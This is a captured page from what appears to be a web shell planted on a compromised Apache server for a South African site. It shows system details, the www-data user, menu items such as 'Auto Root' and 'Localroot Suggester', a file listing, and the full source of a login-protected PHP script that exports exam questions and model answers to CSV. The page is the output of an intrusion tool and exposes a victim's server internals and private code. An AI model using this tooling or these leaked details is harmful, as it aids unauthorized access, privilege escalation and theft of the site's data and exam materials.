Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
templates /
bce /
Delete
Unzip
Name
Size
Permission
Date
Action
feedbackformsreport.php
3.94
KB
-rw-r--r--
2026-08-24 10:15
feedbackformsreportexport.php
1.93
KB
-rw-r--r--
2026-08-24 10:15
guideline-view.php
1.23
KB
-rw-r--r--
2026-02-13 11:49
guideline.php
4.36
KB
-rw-r--r--
2026-02-13 11:49
memorandum.php
3.7
KB
-rw-r--r--
2026-08-24 10:15
Save
Rename
<?php session_start(); // Initialize Session data ob_start(); // Turn on output buffering // Include PHPMaker configuration and functions include_once($_SERVER['DOCUMENT_ROOT'] . "/cceadmin/ewcfg7.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/includes/require_ewmysql.php"); cesa_require_ewmysql($_SERVER['DOCUMENT_ROOT'] . "/cceadmin/ewmysql7.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/cceadmin/phpfn7.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/cceadmin/userfn7.php"); // Check authentication $Security = new cAdvancedSecurity(); if (!$Security->IsLoggedIn()) { $Security->AutoLogin(); } if (!$Security->IsLoggedIn()) { $Security->SaveLastUrl(); header("Location: /cceadmin/login.php"); exit(); } $cceExamQuestionObj = new CCEExamQuestion($sqlf); $questionsWithAnswers = $cceExamQuestionObj->findAllWithAnswers($_REQUEST['exam_id']); // Export data to CSV header("Content-Type: text/csv"); header("Content-Disposition: attachment; filename=exam_memorandum_" . $_REQUEST['exam_id'] . ".csv"); $output = fopen('php://output', 'w'); $showHeader = true; $showExamName = true; $showSection = true; $sectionName = ''; $questionNumber = 0; $qRow = []; foreach ($questionsWithAnswers as $question) { if ($showSection) { fputcsv($output, array('Exam:', $question['Questionnaire_Name'])); $showSection = false; } if ($question['Section_Name'] !== $sectionName) { fputcsv($output, array('Section:', $question['Section_Name'])); $sectionName = $question['Section_Name']; } if ($showHeader) { fputcsv( $output, array( 'Title', 'Display Order', 'Question', 'Multiple', 'Optional', 'Answer Type', 'Marks', 'Model Answer', 'Option 1', 'Option 1 Score', 'Option 2', 'Option 2 Score', 'Option 3', 'Option 3 Score', 'Option 4', 'Option 4 Score', 'Option 5', 'Option 5 Score', 'Option 6', 'Option 6 Score' ) ); $showHeader = false; } if ($questionNumber !== $question['Question_ID']) { if (count($qRow) > 0) { fputcsv($output, $qRow); } $qRow = []; } $modelAnswer = ''; if ($question['Answer_Type'] === 'a') { $answerType = 'Text Box'; if (isset($question['Answer']) && strlen($question['Answer']) > 0) { $modelAnswer = $question['Answer']; } elseif (isset($question['Model_Answer']) && strlen($question['Model_Answer']) > 0) { $modelAnswer = $question['Model_Answer']; } } elseif ($question['Answer_Type'] === 'f') { $answerType = 'File'; } elseif ($question['Answer_Type'] === 'm') { $answerType = 'Radio/ Check Box'; } elseif ($question['Answer_Type'] === 's') { $answerType = 'Select'; } else { $answerType = ''; } if (count($qRow) === 0) { if ($question['IsMulti'] === '1') { $multiple = 'Yes'; } else { $multiple = 'No'; } if ($question['IsOptional'] === '1') { $optional = 'Yes'; } else { $optional = 'No'; } $qRow = array( $question['QuestionTitle'], $question['Display_Order'], addslashes(cleanTextForCSV($question['Question'])), $multiple, $optional, $answerType, $question['NumMarks'], addslashes(cleanTextForCSV($modelAnswer)) ) ; } if (in_array($question['Answer_Type'], ['m', 's'])) { $qRow[] = cleanTextForCSV($question['Answer']); $qRow[] = $question['Answer_Score']; } $questionNumber = $question['Question_ID']; } //foreach fclose($output);